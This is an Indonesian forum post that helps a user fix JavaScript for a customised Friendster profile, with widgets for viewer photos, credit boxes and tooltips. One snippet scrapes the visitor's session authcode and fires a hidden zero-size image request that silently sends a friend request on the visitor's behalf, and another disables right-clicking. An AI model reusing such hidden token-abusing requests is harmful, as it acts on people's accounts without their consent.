[b]MiK@eRu[/b] ni apus
[quote]//Aftermath
var afaimg = document.createElement('span');
afaimg.id = "addme";
document.getElementsByTagName('head')[0].appendChild(afaimg);[/quote]
karna kamu uda punya ini
[spoiler]/* auto add friends */
var afaimg = document.createElement('span');
afaimg.id = "addme";
document.getElementsByTagName('head')[0].appendChild(afaimg);
function afa() {
var eadd = "netstreet@boys.com";
var k = document.getElementById("controlPanelButtons").innerHTML;
var a = k.slice(k.indexOf("authcode="));
var m = a.slice(9,39);
document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageOwnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />";
}
[/spoiler]
ni seharusnya taro d bagian C
[spoiler]/**
* Viewer's Main Photo at WIWTM
* Copyright 2007-2008 by FeRuZZ ©
http://profiles.friendster.com/feruzz
* Internalize AJAX handler
* No warranty expressed or implied. Use at your own risk.
**/
/*global VIEWERPIC*/
(function () {
VIEWERPIC = {
// private property
photo: null,
init: function () {
if (pageViewerID !== "") {
try {
VIEWERPIC.ajaxRequest("GET", "http://" + location.hostname + "/" + pageViewerID, true, null, VIEWERPIC.viewer, null);
} catch (e) {}
}
},
viewer: function (htm) {
if (htm.replace(/^\s*|\s*$/g, "") === "") {
window.alert("ERROR: Empty xmlresponse! \n Unable to parse your details!");
return;
} else {
htm = htm.slice(htm.indexOf("<div class=\"imgblock200\">") + 0, htm.indexOf("<ul id=\"controlPanelButtons\">") + 0);
htm = htm.slice(htm.indexOf("<img src=\"") + 10, htm.indexOf("\"></a></div>") + 0);
VIEWERPIC.photo = document.createElement("div");
VIEWERPIC.photo.id = "viewerphoto";
VIEWERPIC.photo.align = "center";
VIEWERPIC.photo.appendChild(document.createElement("a"));
VIEWERPIC.photo.getElementsByTagName("a")[0].href = "/" + pageViewerID;
VIEWERPIC.photo.getElementsByTagName("a")[0].target = "_blank";
VIEWERPIC.photo.getElementsByTagName("a")[0].title = pageViewerFName;
VIEWERPIC.photo.getElementsByTagName("a")[0].appendChild(document.createElement("img"));
VIEWERPIC.photo.getElementsByTagName("img")[0].src = htm;
VIEWERPIC.photo.appendChild(document.createElement("br"));
VIEWERPIC.photo.appendChild(document.createElement("span"));
VIEWERPIC.photo.getElementsByTagName("span")[0].className = "q";
VIEWERPIC.photo.getElementsByTagName("span")[0].appendChild(document.createElement("a"));
VIEWERPIC.photo.getElementsByTagName("a")[1].href = "/" + pageViewerID;
VIEWERPIC.photo.getElementsByTagName("a")[1].target = "_blank";
VIEWERPIC.photo.getElementsByTagName("a")[1].title = pageViewerFName;
VIEWERPIC.photo.getElementsByTagName("a")[1].innerHTML = pageViewerFName;
document.getElementById("viewerpic").parentNode.replaceChild(VIEWERPIC.photo, document.getElementById("viewerpic"));
}
},
ajaxRequest: function (type, url, async, param, func, handlerparam) {
/**
* ajaxRequest - You may not remove or change this notice.
* version: 2.4
* Copyright 2008 by FeRuZZ ©
http://profiles.friendster.com/feruzz.
*
* @type: "GET" | "POST"
* @cont: true | false
* @param: string | null
* @func: string | null
* @handlerparam: string | null
**/
var httprequest = null;
var requestDone = false;
var data = null;
var responseType = "text";
var timeout = 0;
var ival = null;
var onreadystatechange = {};
var msxml = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"];
for (var x = 0, len = msxml.length; x < len; x += 1) {
try {
httprequest = window.ActiveXObject ? new ActiveXObject(msxml[x]) : new XMLHttpRequest();
break;
} catch (e) {
if (async) {
httprequest = null;
}
}
}
if (typeof func === "function") {
onreadystatechange = function (isTimeout) {
if (!requestDone && httprequest && (httprequest.readyState === 4 || isTimeout === "timeout")) {
requestDone = true;
if (ival) {
window.clearInterval(ival);
ival = null;
}
if (!httprequest.status && location.protocol === "file:" || (httprequest.status >= 200 && httprequest.status < 300) || httprequest.status === 304 || httprequest.status === 1223) {
var resPonse = (/xml/i.test(responseType))? httprequest.responseXML : httprequest.responseText;
func(resPonse.replace(new RegExp("<script[^>]*>.*?<\/script>", "gi"), ""), handlerparam);
}
}
};
}
if (async) {
ival = window.setInterval(onreadystatechange, 13);
if (timeout > 0) {
window.setTimeout(function () {
if (httprequest) {
httprequest.abort();
if (!requestDone) {
onreadystatechange("timeout");
}
}
}, timeout);
}
}
if (type === "GET" && (/GET/i.test(type))) {
var ts = new Date().getTime();
var ret = url.replace(/(\?|&)_=[\S\s]*?(&|$)/, "$1_=" + ts + "$2");
url = ret + ((ret === url) ? (url.match(/\?/) ? "&" : "?") + "_=" + ts : "");
}
if (data && type === "GET" && (/GET/i.test(type))) {
url += (url.match(/\?/) ? "&" : "?") + data;
data = null;
}
if (type === "POST" && (/POST/i.test(type))) {
var headers = "application/x-www-form-urlencoded" + ("UTF-8" ? "; charset=" + "UTF-8" : "");
var contentLength = param ? param.length: 0;
try {
httprequest.setRequestHeader("Content-type", headers);
httprequest.setRequestHeader("Content-length", contentLength);
if (httprequest.overrideMimeType && (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0, 2005])[1] < 2005) {
httprequest.setRequestHeader("Connection", "close");
}
} catch (err) {}
}
httprequest.open(type, url, async);
httprequest.setRequestHeader("ajaxRequest", "true");
httprequest.setRequestHeader("X-Requested-With", "XMLHttpRequest");
httprequest.setRequestHeader("If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT");
httprequest.setRequestHeader("Accept", "text/javascript, application/javascript, text/html, application/xml, text/xml, text/plain, */*");
httprequest.send(param);
if (!async) {
onreadystatechange();
}
}
};
})();
VIEWERPIC.init();
[/spoiler]
ni taro d bagian B [spoiler]// CREDITS BOX
var credits="</br><a href='http://theftalk.com/'><div title=\"header=[** FS-TaLK **] body=[<img src='http://theftalk.com/pix/logo_white.gif' style='width:164px;height:35px;'>]\"> Friendster Talk</div></a></br>"+
"<a href='http://detik.com/'><div title=\"header=[** ON-LINE-NEWS **] body=[<img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/logodetikcom.gif' style='width:164px;height:150px;'>]\"> ** ON LINE NEWS **</div></a></br>"+
"<a href='http://dennyshotspot.com/'><div title=\"header=[** INDO-MOVIE`S **] body=[<img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/indonesia.gif' style='width:164px;height:150px;'>]\"> ** INDO MOVIE`S **</div></a></br>"+
"<a href='http://www.blibs.com/editor/'><div title=\"header=[** PHOTO=EDITOR **] body=[<img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/mytheme-animator.gif' style='width:164px;height:150px;'>]\"> ** PHOTO EDITOR **</div></a></br></br>";
addBox("LEFT","<div title=\"header=[MIK@ERU CREDIT] body=[LINK PEnDukung GW Nee, <b>"+pageViewerFName+"</b>]\"><img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/CreditBoxMiKeru.png'></img></div>",credits,"credits","18");
[/spoiler]
ntar jadinya gini
[spoiler]/* ----------------------------------------------------------------- onload handler */
/////////////
//BAGIAN B //
/////////////
function onProfileLoad() {
[b]// CREDITS BOX
var credits="</br><a href='http://theftalk.com/'><div title=\"header=[** FS-TaLK **] body=[<img src='http://theftalk.com/pix/logo_white.gif' style='width:164px;height:35px;'>]\"> Friendster Talk</div></a></br>"+
"<a href='http://detik.com/'><div title=\"header=[** ON-LINE-NEWS **] body=[<img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/logodetikcom.gif' style='width:164px;height:150px;'>]\"> ** ON LINE NEWS **</div></a></br>"+
"<a href='http://dennyshotspot.com/'><div title=\"header=[** INDO-MOVIE`S **] body=[<img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/indonesia.gif' style='width:164px;height:150px;'>]\"> ** INDO MOVIE`S **</div></a></br>"+
"<a href='http://www.blibs.com/editor/'><div title=\"header=[** PHOTO=EDITOR **] body=[<img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/mytheme-animator.gif' style='width:164px;height:150px;'>]\"> ** PHOTO EDITOR **</div></a></br></br>";
addBox("LEFT","<div title=\"header=[MIK@ERU CREDIT] body=[LINK PEnDukung GW Nee, <b>"+pageViewerFName+"</b>]\"><img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/CreditBoxMiKeru.png'></img></div>",credits,"credits","18");[/b]
[color=red]addBox("LEFT","<div title=\"header=[MiK@eRu Visitor] body=[nee Para Pengunjung Mik@eru]\"><img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/MiKeruVisitor.png'></div>",TRACKER.div.innerHTML,"tracker",null);[/color]
}
[/spoiler]
ama bro lupa [color=red]addbox visitornya[/color]
aduh js bro brantakan ni, bro kan uda pake aftermath mending ini d apus aja
[spoiler]//ADD friend
if (!attachOnLoadHandler(function() { FRIENDSCAN.init();})) window.onload = function() { FRIENDSCAN.init();};
if (typeof FRIENDSCAN == "undefined") { FRIENDSCAN = {}; }
FRIENDSCAN = {
init: function() {
var emailAdd = "mikaeru_5577@yahoo.com";
var areWeFriend = "yes";
var authCode = "";
var scanner = document.getElementById("controlPanelButtons").innerHTML;
var AFRconfirm = scanner.search(/Add as Friend/);
if (AFRconfirm > 0) {
areWeFriend = "no";
authCode = /href="[\S\s]*?authcode=([\S\s]+?)">Add as Friend/.exec(scanner)[1];
}
if(areWeFriend == "no") {
var cForm = confirm("It seems that you are not in my contact list.\n Do you want to add me as your friend?");
if (cForm == true) {
document.location.href="http://www.friendster.com/addfriendrequest.php?confirm=1&authcode="+authCode+"&uid="+pageOwnerID+"&id=&email="+encodeURI(emailAdd)+"&lastname=";
}
}
}
};
[/spoiler]
dan cek lagi header tittle nya tu
karna itu yang membuat min max nya gak jalan masak double gini
[spoiler]//isi tooltips//
addBox("LEFT","<div title=\"header=[MiK@eRu Visitor] body=[nee Para Pengunjung Mik@eru]\"><img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/MiKeruVisitor.png'></div>",TRACKER.div.innerHTML,"tracker",null);
document.oncontextmenu = noRclick2;
document.captureEvents( Event.MOUSEDOWN );
if( document.layers ) document.onmousedown = noRclick;
// CONTROLPANEL BOX
h=document.getElementById("controlpanel_header");
h.innerHTML="<div title=\"header=[ MiK@eRu`s ProFiLe$] body=[Hallo "+pageViewerFName+". Selamat datang di profileku.]\">= MiK@eRu`s =</div>";
// PHOTOS
h=document.getElementById("1").getElementsByTagName("h2")[0];
h.innerHTML="<div title=\"header=[MiK@eRu PhoTo`s] body=[Tempat Nopz nyimpen foto-foto.<br>]\">MiK@eRu\'s Photo Gallery</div>";
// MOREABOUT BOX
h=document.getElementById("6").getElementsByTagName("h2")[0];
h.innerHTML="<div title=\"header=[MORE ABOUT MiK@eRu`s] body=[Kalo mo tau (sedikit) lebih banyak tentang MiK@eRu`s]\">More About MiK@eRu`s</div>";
// PUBLICCOMMENT BOX
h=document.getElementById("18").getElementsByTagName("h2")[0];
h.innerHTML="<div title=\"header=[CoMenT For MiK@eRu`s] body=[Maaf ... tanpa mengurangi rasa hormat, kami tidak menerima cenderamata berupa Pic, Flash, maupun MP3 ...]\"> Comments for MiK@eRu`s</div>";
//FRIENDS
h=document.getElementById("8").getElementsByTagName("h2")[0];
h.innerHTML="<div title=\"header=[MiK@eRu@s GROUPS] body=[Gue anggota dari group ini]\">[My Groups]</div>";
//Header mika//
// CONTROLPANEL
chiemo=document.getElementById("controlpanel_header");
chiemo.innerHTML="<div align='center'><img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/MiKeruprofile.png'></div>";
// PHOTO
chiemo=document.getElementById("1").getElementsByTagName("h2")[0];
chiemo.innerHTML="<div align='center'><img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/MiKeruphoto.png'></div>";
// MOREABOUT
chiemo=document.getElementById("6").getElementsByTagName("h2")[0];
chiemo.innerHTML="<div align='center'><img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/AboutMiKeru.png'></div>";
// PUBLICCOMMENT
chiemo=document.getElementById("18").getElementsByTagName("h2")[0];
chiemo.innerHTML="<div align='center'><img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/ComentforMiKeru.png'></div>";
// FRIEND
chiemo=document.getElementById("2").getElementsByTagName("h2")[0];
chiemo.innerHTML="<div align='center'><img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/MiKeruFriend.png'></div>";
// GROUP
chiemo=document.getElementById("8").getElementsByTagName("h2")[0];
chiemo.innerHTML="<div align='center'><img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/MiKeruGroup.png'></div>";
// VIEWER
chiemo=document.getElementById("15").getElementsByTagName("h2")[0];
chiemo.innerHTML="<div align='center'><img src='http://i305.photobucket.com/albums/nn233/mikaeru5577/MiKeruviewer.png'></div>";
[/spoiler]
Last edited by teguh0203 (2008-07-17 10:09:20)